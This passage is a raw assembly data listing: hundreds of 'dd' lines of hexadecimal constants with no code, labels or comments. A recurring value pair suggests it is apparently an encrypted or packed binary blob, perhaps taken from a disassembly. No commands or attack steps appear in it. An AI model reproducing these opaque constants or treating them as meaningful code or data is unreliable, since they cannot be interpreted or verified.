		dd 1EC7ACA4h, 88E054AFh, 915B6E55h, 0DBA88D3Bh,	7C3123DCh
		dd 8513AA74h, 0A34DA79Fh, 0E511C940h, 3684C6BEh, 1B5DBC10h
		dd 72C3B11Fh, 6DF36A3Bh, 954D7C48h, 86133FFh, 0B8F2F4C9h
		dd 0C03F3923h, 2B2F468h
		dd 0D762967Fh, 8A3AE95h, 0D4A28831h, 0B937706h,	0F9FDE4A7h
		dd 823626FBh, 0DE43219Eh, 687EF22Ah, 3B8DE3DEh,	2E271DFCh
		dd 5D7D6697h, 44C9DCCAh, 0D35FA090h, 95D20D21h,	0FD4985E9h
		dd 3047D62Bh, 91C948A3h, 0ADC868Eh, 2EB1E068h, 294AD228h
		dd 3F487251h, 0AF7798Fh, 7A54316h, 57E589A1h, 0A9DE8EDAh
		dd 0A6D9053Dh, 45B43235h, 9478C26Bh, 7577876Eh,	8865C36Bh
		dd 0CBA12F51h, 338FF4ADh, 14F051FFh, 0D9E3AAEDh, 66D88B16h
		dd 5FF2AF97h, 0C3716045h, 70798C6Ch, 93C9A2D8h,	9C997984h
		dd 87F4DFEBh, 864A52FBh, 39E806C7h, 9ECDB32Fh, 44A7E2F0h
		dd 0CAFBE230h, 6657CD69h, 7B3EE73Dh, 200C2629h,	0FA740352h
		dd 0D0860464h, 70855F93h, 0BF15914Ah, 0FDA9269Ch, 0C22A258Ch
		dd 57BBAEB1h, 0DDB5749Bh, 0D123907Ah, 0EDF5123Bh, 0E4126BF3h
		dd 0C43D84BAh, 130F1D2Bh, 45376BB7h, 0F80CDD51h, 0FB3AE0B8h
		dd 68B466Dh, 3ABAC873h,	70EE08CAh, 66D00300h, 0DF5DBD3Eh
		dd 0CABDD542h, 24B22DD6h, 73B0E4F5h, 902110A6h,	91027FF1h
		dd 2EE0BECh, 0A800EADBh, 2D14B76Fh, 942C5DAEh, 98477E8Dh
		dd 6F701E5Bh, 13CA8A99h, 0E9ADC5AAh, 2AEB46CAh,	33DAFF74h
		dd 970B68F4h, 0B51E201Fh, 0CBFC0E31h, 0E11FCBA2h, 5329EB64h
		dd 0F21784D6h, 0A7422B4Ah, 0B8EAB404h, 0D41F5E88h, 6D8B2EC8h
		dd 457D5125h, 43CAD358h, 0B24A3F9h, 0F2E147C9h,	0BD346D67h
		dd 6CA8A7AAh, 0C210C44h, 0AF773548h, 11EC21B2h,	4E6C3E6Bh
		dd 75356106h, 3559E59Ch, 0B1E70F6Dh, 0A6743A3Fh, 8ADC06CDh
		dd 9FE14463h, 7DD13721h, 5FD80196h, 67439D50h, 401E92Bh
		dd 281C6AFh, 4AE085E5h,	3C6A4834h, 250B3202h, 0AE917593h
		dd 0E70E2689h, 3A9440Fh, 0AE7D3AF5h, 15E09B27h,	0AF773548h
		dd 11EC21B2h, 0DE313C57h, 0B9B9678h, 9C742088h,	0BFF4EC55h
		dd 0A1485FA9h, 4D58E91h, 0FCC08E3h, 1E01CEB6h, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 9BAEB7EFh, 18E27F32h, 168049D3h, 4A600869h
		dd 0C19D0470h, 0C8993CEEh, 0C569234Fh, 1CCF9092h, 3EC4A978h
		dd 0C7475E16h, 924A3878h, 0D5F8BC93h, 0E2C35D90h, 0DD3ABB47h
		dd 63C6F1B2h, 4B51E58Dh, 7271B11Ah, 92FA0B1Bh, 0CFFC5032h
		dd 0E686BEB0h, 99CC7341h, 96A01DB1h, 9B9BB438h,	0B300E515h
		dd 0F107EE7Eh, 4DA0AC53h, 0DFAF6FB5h, 23F99E44h, 80EC4AEh
		dd 0B9394AA5h, 2D8ED99Ah, 0E4A0894Ah, 0A4F68666h, 0C8B844ECh
		dd 0F2762CFAh, 27B6E0BAh, 2499779h, 35C9BA0Dh, 0BC48BD28h
		dd 1C151332h, 0E3CDE38Ch, 0CF17E0A3h, 8F843519h, 0D592AC87h
		dd 760C8EC1h, 0BA2B99C6h, 0EEACBCC6h, 0B61DCFFBh, 0F4C8FB1Dh
		dd 0C741E47Dh, 12806B1Eh, 0D968F2ABh, 51C9A68h,	55CAA0ECh
		dd 0F4C8FB1Dh, 0C741E47Dh, 0D142217h, 3D6D796Bh, 0FFDBAC99h
		dd 630F7D5Eh, 0E2F10DC6h, 680506A4h, 172A5BF3h,	54E1A787h
		dd 9BE48E85h, 8529559Ch, 4E88EE80h, 5A629BC6h, 45607C0h
		dd 47702499h, 773BF82Eh, 77B18832h, 0B608BF7Ch,	8660C32Fh
		dd 2499779h, 35C9BA0Dh,	0A78E7DB4h, 0CAEC85EBh,	0E95E1756h
		dd 0CC411EE8h, 0F0D169B5h, 0E5708FA9h, 0CE2D1D3Eh, 0BCA71B52h
		dd 0A0330463h, 85FB410h, 97F12B87h, 22FB59A1h, 281F55CFh
		dd 96BE60FBh, 0B1657B08h, 3896516h, 64A27F80h, 0B95362F3h
		dd 98C65995h, 892182C5h, 2010EDF1h, 80672031h, 6EBFA6A1h
		dd 24EFEB98h, 0ECA6ED37h, 24D16341h, 87B2618h, 9197D7CDh
		dd 9309DCh, 72085C09h, 376E6723h, 2E32D1Ch, 0F8A6D40Bh
		dd 6B4B5068h, 0F1D6AF54h, 20C1B0CCh, 7A37161Eh,	41568AE9h
		dd 5B285DB2h, 426D4B50h, 45347D5Eh, 57C2ABEEh, 4C117B59h
		dd 21334E35h, 0A828F246h, 40E228F4h, 859D2CEEh,	0D82902B9h
		dd 0CBE9E4Dh, 0B95C1B45h, 0B905F6A1h, 0FF8E274h, 0D07EA151h
		dd 4972A9BCh, 0CE0D9935h, 65C74B8Ch, 6F3A69A7h,	60773ADh
		dd 26499915h, 2A44714h,	233544D4h, 0D3610641h, 65E3E22Bh
		dd 461046D1h, 29C98E0Eh, 0D6C6C3BDh, 4396004h, 8EFC19D3h
		dd 558E42D8h, 2193AAFCh, 4D029940h, 24590BA0h, 0AF34FB45h
		dd 8E07B0F7h, 66D8CB28h, 21E12BFBh, 732FF153h, 90162E2Ah
		dd 98786E98h, 55282A1Dh, 0F196A220h, 5E8DA2C2h,	3D5B0B24h
		dd 4F3C8532h, 38807BE2h, 3063E4B0h, 0E8BF6E23h,	0D785DAD4h
		dd 54665104h, 183AD2E3h, 411C3A0Ah, 1B550F2Ah, 55637A91h
		dd 0D3BA7424h, 7CD30D20h, 0A15295D5h, 8A945BC5h, 10FC5C06h
		dd 699D3642h, 0B40F9897h, 0F983AFE9h, 7EFE2170h, 55B73474h
		dd 69D28008h, 71DE752Dh, 5AAA31FDh, 276A6DFAh, 2D71BA2Ah
		dd 749461B3h, 506588D2h, 0D3AAE7CCh, 85F93BC3h,	6BE30272h
		dd 500F7BECh, 0E67B83A7h, 9C9E5D9Ah, 7B1AE9C2h,	896F0B7Ch
		dd 0BD43741h, 62B0A6A9h, 0CD7AD8B2h, 0CC9764CBh, 0EC11DBD4h
		dd 959A784Ch, 69C54483h, 0A0F56756h, 33F5E649h,	3D301681h
		dd 0C0F33036h, 0E82ECD45h, 58C35F67h, 0D6B4D13Fh, 9F6946FFh
		dd 21E78C5Eh, 171167BBh, 3424E968h, 5B8AD58Ah, 76122FE4h
		dd 8FDEB439h, 9892398Bh, 0F4E33F99h, 0C75EB7F6h, 0C67715F0h
		dd 89641CB3h, 0F6508282h, 63D20CF5h, 2D9CADEEh,	91FE5E96h
		dd 0D47479ADh, 0F5896869h, 1FEBCECh, 52C69F95h,	0E9B88837h
		dd 33D53DB7h, 0BFDB3CA8h, 60499535h, 0CEC88BAAh, 5692092h
		dd 5A3438F5h, 493C993Bh, 0EE4880CBh, 0B8327091h, 0E97E19B4h
		dd 98F14758h, 0CDAE39B8h, 98D37C54h, 0F69AC3FAh, 0CB66DBCEh
		dd 4904701Ah, 7B75D131h, 1F95113Fh, 0E48AD143h,	0FD3C5BD6h
		dd 0F04B7DE4h, 91589C76h, 0F7B46C8Ah, 39B5ED3Eh, 0FF9F706Fh
		dd 148D50E9h, 0B60D1DFAh
		dd 1BFF9A40h, 93E2FA5Ah, 10A5305h, 2D871E30h, 78B4157Fh
		dd 7AFC18EDh, 0D3801B6Fh, 0C9A03FF1h, 1B69AC19h, 5D216AB3h
		dd 0E1E256F8h, 0D5EA92Ah, 0D7AA0E1Bh, 15753E5Dh, 4213CF67h
		dd 264F7124h, 0BF3FC63Bh, 0E80E229Dh, 388D8ADCh, 6C309C47h
		dd 6A0C3E8Eh, 4456BCCCh, 197C0630h, 0BBBF5107h,	1F0B601Fh
		dd 0CBB99025h, 0BF6FABB4h, 635BBC94h, 0F6508282h, 63D20CF5h
		dd 0D60526FFh, 0F99420B2h, 2826FE5Eh, 8576560Bh, 0F89DE8AFh
		dd 6FCF6159h, 38807BE2h, 3063E4B0h, 0FE8F4FF6h,	498ECD92h
		dd 0DB94698Eh, 26E0EBDAh, 75902393h, 0CCB0DA93h, 0C22D787Ah
		dd 0FC939804h, 699D3642h, 0B40F9897h, 0EB81D889h, 651D7C72h
		dd 82491F6Ah, 0E56B394Ch, 657A8D9Fh, 23514FAEh,	19D9C1A3h
		dd 218D332Eh, 87295538h, 0FFA68312h, 24211Ch, 0DCE9DF4Eh
		dd 0EF6B8ED5h, 0D74B6046h, 0FAC5AAA4h, 0A2E32F2h, 10431FFDh
		dd 0E41DFAE6h, 10A5305h, 2D871E30h, 6A035340h, 55B9AD99h
		dd 0D3801B6Fh, 0C9A03FF1h, 97B836D7h, 0DAB0676Eh, 0E1E256F8h
		dd 0D5EA92Ah, 0D7AA0E1Bh, 15753E5Dh, 4213CF67h,	264F7124h
		dd 0BF3FC63Bh, 0E80E229Dh, 388D8ADCh, 6C309C47h, 6A0C3E8Eh
		dd 4456BCCCh, 197C0630h, 0BBBF5107h, 1F0B601Fh,	0CBB99025h
		dd 0BF6FABB4h, 635BBC94h, 0F6508282h, 63D20CF5h, 2D9CADEEh
		dd 91FE5E96h, 3F32705Ch, 7696F17Ah, 3D5B0B24h, 4F3C8532h
		dd 38807BE2h, 3063E4B0h, 7EA53E3Ch, 0B56C02ADh,	8DA09857h
		dd 335BD7DBh, 7CD30D20h, 0A15295D5h, 8A945BC5h,	10FC5C06h
		dd 699D3642h, 0B40F9897h, 0C7E5FADAh, 60ECD124h, 0F13798C8h
		dd 6A5BBEEBh, 3FC1557Fh, 0F811B513h, 0DB83AAFEh, 0EE9F50DFh
		dd 87295538h, 0FFA68312h, 45F58D96h, 0F4F5FB3Eh, 42C45CA7h
		dd 8FD0B2A8h, 7DBA24E0h, 18E71A33h, 0A6F8FED8h,	820B3D0Bh
		dd 10A5305h, 2D871E30h,	78B4157Fh, 7AFC18EDh, 0D3801B6Fh
		dd 0C9A03FF1h, 97B836D7h, 0DAB0676Eh, 0E1E256F8h, 0D5EA92Ah
		dd 0D7AA0E1Bh, 15753E5Dh, 4213CF67h, 264F7124h,	0BF3FC63Bh
		dd 0E80E229Dh, 388D8ADCh, 6C309C47h, 6A0C3E8Eh,	4456BCCCh
		dd 197C0630h, 0BBBF5107h, 1F0B601Fh, 0CBB99025h, 0BF6FABB4h
		dd 635BBC94h, 0F6508282h, 63D20CF5h, 2D9CADEEh,	91FE5E96h
		dd 3F32705Ch, 7696F17Ah, 9D537AFh, 0A540BB00h, 0AA4B9895h
		dd 0FD483753h, 0D27B7602h, 11354A8Ch, 0C5417184h, 0B1F277C6h
		dd 0FC75BF79h, 919FA174h, 0E8A5D8A6h, 7006972Fh, 9603BCDBh
		dd 78091726h, 69C09F26h, 248E35AAh, 0F59C0EB6h,	9F1E34ADh
		dd 0DDF9F688h, 0A1C2CB7h, 0BEED1994h, 0B01688F6h, 53AFF942h
		dd 6B33BBB3h, 0F6752D02h, 8A355DE2h, 8E8F1714h,	83201E1h
		dd 18A7AC9Ch, 9B4E4AD0h, 3965D936h, 425ADC73h, 216D5085h
		dd 51F43E81h, 363CBFBBh, 47170056h, 7CF0519Dh, 0CE1D4E7Fh
		dd 8A4410D4h, 0D7429340h, 4161A54Fh, 345E1A19h,	8EA5FC09h
		dd 9192350h, 70461998h,	0A13C631Bh, 37BA794Eh, 0D7874C82h
		dd 0C2D69D5Fh, 3C76D6F6h, 0AA6040B4h, 1EF8926Fh, 8B897097h
		dd 59B6E253h, 0C36D261h, 367E82A0h, 3BFCE79Ch, 452C7A49h
		dd 22C3B0CEh, 7122F189h, 0AA4559FFh, 6A4AE1B1h,	4811EA42h
		dd 10D6DCBAh, 9F81B6C0h, 0B53DB4BBh, 8B981433h,	92951379h
		dd 85E86E25h, 0E14288CBh, 4E7F79CEh, 0EF0FE41h,	1E3C58AEh
		dd 0E9EB868Dh, 0EA1E5E6Fh, 0FF073E87h, 9940B516h, 0CE50836Eh
		dd 3D5816B5h, 0BC9087E2h, 99DE3565h, 0ED6CE54h,	17ED8291h
		dd 0D6127EB2h, 97F20A03h, 90537612h, 0A79074ECh, 0D1ED0DB3h
		dd 2192ECB3h, 40058F81h, 0E5A41D85h, 86FE34A4h,	0D0736ADCh
		dd 0A84A8777h, 5BABE427h, 0FE5678A7h, 9D497F64h, 1E45D6F6h
		dd 8A5D0984h, 17A0CF74h, 988AEC9Eh, 0A6FE45FBh,	0CB0C7B19h
		dd 5EAD6B40h, 0FF663A13h, 389FE3B9h, 968F8806h,	422C38EAh
		dd 869EFD1Eh, 872F0D2Fh, 0AA80F3E9h, 0A2F438E4h, 3D45C54h
		dd 4E62B04h, 3B9D20B7h,	0E3918E15h, 7D704D09h, 7726FEAh
		dd 0E59697BAh, 7B10DE05h, 0FB9AA4DFh, 0A2A0595Fh, 381F47Ah
		dd 2CE7A644h, 2C203812h, 0ECD21EE9h, 0E0F9E46Ah, 0D3B4BD8Dh
		dd 0A9E1F955h, 533F91BEh, 0E6687F09h, 701AFF92h, 814A66Bh
		dd 874439FFh, 0A8513D9Dh, 41ACBFCAh, 19C1B170h,	5DD0AEBBh
		dd 6264AC51h, 1DC6ED12h, 7D7D5706h, 0B687C73Dh,	98FF14Eh
		dd 0F3E5FB4Ch, 0C94FE29Bh, 21EF9EB5h, 0EC1C31FCh, 0D7C352D2h
		dd 526BF5F9h, 94AB9FF9h, 9176D1B3h, 403DD5Fh, 0FA98D2B9h
		dd 0E224007Bh, 5122117Ch, 401BFD6Dh, 0C914A78Eh, 9FCC92A9h
		dd 2792DE3Ah, 0EDAAA153h, 0CCC03E1Bh, 0F892E02h, 5CB27DBEh
		dd 0F4C14272h, 0C4CF89A3h, 8A194762h, 7F604B17h, 85053287h
		dd 898ADDFCh, 782AA395h, 0D602C10Fh, 9C52AB2Fh,	0D214668Fh
		dd 893E36B4h, 80FB13FEh, 1837309Eh, 5BEBE279h, 223CC663h
		dd 0A8F8EDF4h, 67CAB6A6h, 825E7453h, 0DA9D6CF6h, 5AC746Fh
		dd 0E0551141h, 55743427h, 0DECF0351h, 9C603A49h, 0A739CB12h
		dd 0D3E8F44Fh, 0BEF1342Fh, 0E7BA91A1h, 11230C96h, 1CA55A22h
		dd 177FE90Eh, 6C1654FEh, 0FD6A328Ch, 59A8CFD4h,	1F27B0B6h
		dd 0E96F861Ch, 8E89F602h, 0D3A1217Eh, 0C123C2E9h, 0D294AEDAh
		dd 9B0ABB61h, 0D1B65C30h, 9F3FA886h, 753A160h, 0E95734D5h
		dd 0EAEDD14Bh, 7852BF62h, 9B5C1EA9h, 93627825h,	0E22A4B1Bh
		dd 4CD7A849h, 65919827h, 17B7763Fh, 70B51849h, 25D7D899h
		dd 6A44DC3Fh, 0B2BD323Ah, 0CEA10D63h, 0B2D79FBAh, 0D50E6E09h
		dd 9D765FBBh, 0A9F3969Ah, 0E56AA762h, 3EA606FFh, 0CF283BB0h
		dd 5EAFD473h, 0FEB48312h, 93157FBBh, 6F30E859h,	0C8082A3Bh
		dd 9A3FE008h, 78111h, 9A4B2090h, 90314EF1h, 39D8063Dh
		dd 1FBB5F6h, 0FE9849E1h, 0D9BF49CAh, 0F41ED3A4h, 52349D58h
		dd 2BEB6B6Dh, 0F619C05Bh, 0DCDD228Ah, 8A94CCE5h, 915F0838h
		dd 0FE71C811h, 608AB73h, 5F553108h, 0D77EFF69h,	0D3899259h
		dd 82804B2Dh, 0D0F6BD70h, 1C292AB1h, 0FD1A1505h, 79687FBBh
		dd 14ED2BE5h, 53A545C0h, 935E0F30h, 49D3DF9Ah, 0F698CA8Eh
		dd 466AD6E6h, 0E42207C3h, 545E1609h, 6C1B82C3h,	523A35Dh
		dd 7D5F1DAAh, 96F0280Dh, 6650962Dh, 175A95ADh, 9C661112h
		dd 0A1C6BB23h, 13A64153h, 0F80AD292h, 1058887Fh, 1B98D72Ch
		dd 618B787Dh, 0E4C43014h, 0EDF24ED3h, 25D33FCEh, 6695AE66h
		dd 2E810578h, 3EF5A3C2h, 0A68F4CAAh, 0CCBF163Eh, 0FA16F66Eh
		dd 1240E574h, 0CF49F9C7h, 57610D5Dh, 0C6104A26h, 29F4D980h
		dd 7F28F959h, 8861D88Ch, 0B4AFB74Dh, 0B0D3458Ch, 0D0192FEFh
		dd 0D8F05CA7h, 5C202569h, 25CF02D1h, 0AA71D330h, 9EF358D9h
		dd 0D5D8C8C7h, 358C9E1Eh, 59AA2361h, 699CD804h,	6D212E18h
		dd 0C806EA05h, 0B9B4F4FFh, 83900D0Bh, 0E00538B3h, 0DC0AB085h
		dd 517E45F5h, 0A122D4CBh, 934854D3h, 87C97B95h,	6652885Fh
		dd 193CC930h, 0D9C5B0A1h, 69529C1Ch, 1235DA6Bh,	7C4488E3h
		dd 0A71A2DACh, 89878714h, 10E3C442h, 70A15B9Fh,	0A10DB19Ah
		dd 6647BD84h, 0F0E7D7ECh, 7E732350h, 262EDEF6h,	823EED6Eh
		dd 7B03C5ACh, 750B1B5h,	0C818BC39h, 7269EE7Bh, 4C499C75h
		dd 0CA31E113h, 0DE9C4EDCh, 2F2EF25Ah, 472CC77h,	2B772D7Dh
		dd 0FB18DD7Dh, 6291DA92h, 0A97D6A82h, 0DC8A51AFh, 2684E6E7h
		dd 9F9380E0h, 6CDAB549h
		dd 21056636h, 52B57DE1h, 0C2FEFEBBh, 7D69D750h,	16FCEF03h
		dd 4CD87EBh, 1FED462Ah,	2AD5C583h, 0C65FD4B6h, 1171C841h
		dd 9F38E0C5h, 0C2DE700Bh, 318EF01Ch, 9D04260h, 15449803h
		dd 4F9694A9h, 66805F6h,	960BE42Fh, 0BAE0329Ah, 0BE8BFB6h
		dd 19BE8EA9h, 122842C1h, 0A79659A4h, 7A5E9AFDh,	6A932BFh
		dd 529E2E8Eh, 0CB391FABh, 0F741A607h, 0D9B931F2h, 0BEFD0167h
		dd 0B6FA32B7h, 77E796E1h, 0C96ACD78h, 7087605Bh, 5D139E76h
		dd 0B37CA1BFh, 0E0F7B7F8h, 5AA6B4CAh, 0FAF2B0A8h, 73138321h
		dd 977D3630h, 0E8E56B61h, 305D67D1h, 8193C671h,	39B2741Eh
		dd 0E4BAEF7Eh, 1AC43E83h, 4FFBDEBh, 0C061A14h, 0FF832621h
		dd 4D5C47C8h, 0C2F664C8h, 3F10E14Fh, 605FDD83h,	77324FC2h
		dd 0C11D9082h, 0DF369692h, 18E6AD2Eh, 0C6507E67h, 70BF1569h
		dd 0FA4E40E1h, 374BB49Bh, 0BF5084CEh, 14E8FC59h, 7312104Dh
		dd 54BBCDD4h, 0A2A22335h, 0E4342132h, 62153D35h, 6E4FF928h
		dd 5458D636h, 833C5B48h, 0FEF83CC1h, 2597CFCBh,	0C7C84C60h
		dd 0E858332Dh, 0BDA7CB15h, 939C4DF8h, 0ACA5D2BBh, 8004321h
		dd 7B9C0623h, 5BCD3522h, 7E9E1C17h, 0CFD8F455h,	0C4007BD5h
		dd 0DC405860h, 92E1CCEBh, 26C3720Fh, 0AC2884CEh, 0D37E6F08h
		dd 6363FD38h, 0FD3AD2AAh, 750E959Bh, 691691E8h,	5CEDF19Ch
		dd 8D83CFD4h, 37C6EB83h, 0D624364Dh, 0F03B1434h, 0EC66006Ch
		dd 0E8F53B15h, 9FFB2BB8h, 85E79163h, 0F98595F7h, 1A6F799Dh
		dd 0CA2FB4A3h, 2254CDA8h, 7B69D97Dh, 622A16CCh,	88955D4h
		dd 0AFF99858h, 761B803Ch, 3494280Fh, 7EAB51DEh,	0F3348242h
		dd 4E953464h, 0D912384Bh, 4B8B1FACh, 501F4B04h,	8C0ADB45h
		dd 8255BEB5h, 0EB053782h, 7455745Ch, 5CBF06C3h,	6BFA034h
		dd 60CB0C57h, 93431F3Dh, 0FA1254B1h, 7E565AF5h,	0DE486BE6h
		dd 0A419F24Ah, 5C76D75Ah, 0E97018A9h, 96B69A76h, 0F3075DEFh
		dd 35B8BD7Dh, 0B715376Eh, 0CC78831Eh, 0AA40009Dh, 57AF748Bh
		dd 96D62CCBh, 0EE9D5FF9h, 69EA840Bh, 3B033C2Fh,	0E84707F8h
		dd 4065B22Dh, 3CDB93F0h, 2A48C2D1h, 99614637h, 0EE080B23h
		dd 434569DCh, 7B7849FDh, 73F80B07h, 1CD04637h, 3C116F16h
		dd 5547A6B1h, 750E959Bh, 691691E8h, 5C717064h, 0DC0618B1h
		dd 0A6B046C8h, 6409C6B6h, 681DAC58h, 9691AB69h,	0E77DACCBh
		dd 0F2D1C00Ah, 0D1AB6528h, 0A1908FE8h, 7480EF6Dh, 44CD0437h
		dd 0FE372847h, 8576BE65h, 0CAD8073h, 0F4BDAFBBh, 0F580F3EAh
		dd 8B986687h, 0C06F5A29h, 0B00D63B9h, 15F6F7F7h, 0FDDFB883h
		dd 5B9D1AF6h, 1C9FA9Eh,	0D023B858h, 37A537E4h, 16B41DB9h
		dd 14A60168h, 0E708C247h, 0A4045A90h, 3D6BDFFCh, 443B2987h
		dd 0BCF84D9Dh, 0AC739AD3h, 1DB8B744h, 17DA5E83h, 0A3FDF2h
		dd 77F0E8Eh, 0AA9B169Bh, 7474DCA5h, 9F7EAAD3h, 8FEA81BEh
		dd 7A44BE98h, 0E573C29Fh, 5A004CAFh, 8A9556C6h,	3AA1CFCh
		dd 0A841C9A3h, 80FD5493h, 5FA0089Eh, 5418EB90h,	2B9DE1BEh
		dd 0E109499Ch, 4B62FB3Bh, 25802615h, 41BAC30h, 408B338Fh
		dd 1287EAA0h, 1CDB5DFBh, 2A133F94h, 259D5DF5h, 79770FC5h
		dd 3C6D1AD6h, 6406F048h, 668C7184h, 149482D3h, 0BE6B31CEh
		dd 94D23378h, 1BCB28FAh, 0F78AEBEDh, 6A0DEEAAh,	21C60A1Dh
		dd 4E7F7204h, 0D56B6ABCh, 84589DCh, 0E1B2B428h,	49B0035Fh
		dd 3F153881h, 0ACAE1BE6h, 0F19F2280h, 67A15A06h, 9E17EA9Dh
		dd 12E7058Dh, 7A982688h, 785C4BF3h, 0B9984179h,	0DB2C405Dh
		dd 157B01EAh, 94AFFD76h, 2283179Fh, 95F6794Dh, 21ECEE0h
		dd 0D7E77B39h, 0BC75C7CCh, 8F9E24ACh, 4BA284DBh, 1E258EC7h
		dd 0AE397DB3h, 338E3CBDh, 8F4AE29Ch, 69D573B2h,	0FAFA373Ch
		dd 0A16349FBh, 40206A56h, 0BE23603Fh, 0EEE2975Ch, 9529EED5h
		dd 3E83747Dh, 8FC6C958h, 0ECDCF53h, 0E8F166CDh,	6A698598h
		dd 80962CF9h, 566FA5F2h, 98BB51BAh, 82D42C3Ah, 772069F2h
		dd 79FDB3B2h, 5FDB42D4h, 2850AC51h, 799B4394h, 0FA39BEA1h
		dd 46D357E1h, 521AA212h, 7DAF7A08h, 0A5DDC4F9h,	0D2A9C699h
		dd 6008C402h, 0FE3A8899h, 89CADA05h, 0FE6F1151h, 1E3CEAA6h
		dd 0A728E684h, 0B31392ECh, 646577A3h, 54F82907h, 2E55EA43h
		dd 0F5BDF6AAh, 4E7F79CEh, 0EF0FE41h, 1AEB19C1h,	9A836D7h
		dd 5EF10099h, 30E65C7Ch, 787E3230h, 1A80AEB1h, 12E7058Dh
		dd 7A982688h, 4843A1B1h, 0F0C58EBh, 18380333h, 10D50F01h
		dd 57B632F4h, 0ACA4F40Ah, 7A93D207h, 0C44BF126h, 0C0EE2E83h
		dd 0F38BFB2Ah, 68B48189h, 0F5FDFD1Eh, 3340DE52h, 0A4935A31h
		dd 8EA25B87h, 5B9808FAh, 12830BABh, 0B6C386B7h,	0C8B31F92h
		dd 0FD949A4Ah, 0A84C3547h, 967951D2h, 0DA476722h, 0BF8AF78Bh
		dd 92F58561h, 8379450Eh, 30384CEDh, 62D33092h, 0E67F5ABBh
		dd 827ABB44h, 0F0E61EA8h, 154A32A8h, 42F9D20Eh,	0A6A6D673h
		dd 53F9B9B5h, 419EE81h,	0FEAAC541h, 8EAE7BE4h, 3006945Fh
		dd 0AA6A505Eh, 710A3493h, 0FADA783Fh, 750E959Bh, 691691E8h
		dd 0FE2C2251h, 0EC9FB727h, 28354AF6h, 0C5F96E72h, 56299046h
		dd 40EA15B3h, 0AAE618FBh, 0F4C9C621h, 82B214C4h, 5CDCA123h
		dd 0B3466F8Bh, 0F796502Bh, 2E3B105Ah, 25BAA637h, 770A0AEAh
		dd 0E7EFFD53h, 52344DB6h, 932DD60Ah, 1F1DA572h,	0DBAF3F09h
		dd 37C36E5h, 0E5C1F3C0h, 5AB3A8B1h, 0F310E19Fh,	5E4A18A9h
		dd 76D154C5h, 0A1E73D08h, 21D405D5h, 0C977F717h, 9F8D876Eh
		dd 0BFFF50BEh, 77F1AD28h, 77F95F2Ah, 9294895Dh,	5EB96C27h
		dd 0F4BB3C61h, 9E6640E0h, 6EB33A6Eh, 8DC07EE7h,	40D61A03h
		dd 18E1C491h, 2BFB5036h, 0C532581Ah, 0C06CF974h, 4B3CD63Dh
		dd 0E451E9CEh, 0B691E37Eh, 442D7976h, 915ED356h, 88979B10h
		dd 762BAC88h, 572DBE5Bh, 0E4B235ABh, 0DB2E8988h, 0B68EA782h
		dd 55844E0Bh, 0D807D4E9h, 0F77D733Ch, 0CF7BA1AEh, 9DB00BEEh
		dd 2E1EACD0h, 9023C6EFh, 6A831904h, 2CBFFD0Bh, 114FA1AAh
		dd 947DEC0Ah, 235AD3AFh, 63CB77BEh, 81A769D5h, 0C141BCFh
		dd 8C445208h, 3254F6BDh, 0A06AEEFDh, 95008FE1h,	0FD6BEBB7h
		dd 9BB02C8Ch, 0C65D8EF2h, 0A7FE54D8h, 0B647A349h, 5DD0D21Fh
		dd 0D4FFC795h, 86EFC47Bh, 0AF9AB1CFh, 0DDB3722Eh, 0DE809691h
		dd 3D3EEA0h, 4488CD65h,	4F1498E2h, 0D4CAFBD9h, 0D9B6E233h
		dd 3715DFC4h, 23DAEDA5h, 333CF10Ah, 59B7C12Dh, 0FB244143h
		dd 0D0684C05h, 0AA3D0DFBh, 6525FAF1h, 92E49BD9h, 89F4681Bh
		dd 8DD8F691h, 0E2B4A4Ch, 0BF1361BAh, 2F20318Ch,	0A0DF7814h
		dd 5DD82FDFh, 0C7CCB5A0h, 80EF9A2Bh, 7DD92D2Bh,	6E3BC375h
		dd 6E1B1B46h, 0F1B31CC7h, 5F821284h, 0A374949Ch, 83499E14h
		dd 0F7F14C29h, 2CBFB44Eh, 7D850DE2h, 985F216h, 0D58EB386h
		dd 0D6A21B5Dh, 2A0890E3h, 7F2EB14Eh, 3A383BC9h,	0E43BCB7h
		dd 40DC9C5Dh, 596F084Eh, 0A8C13222h, 0A53B86D7h, 0BA3C35D1h
		dd 0A9BF3404h, 4C9CB7F7h, 4882ED5Bh, 62DB4E78h,	0EDAB161Eh
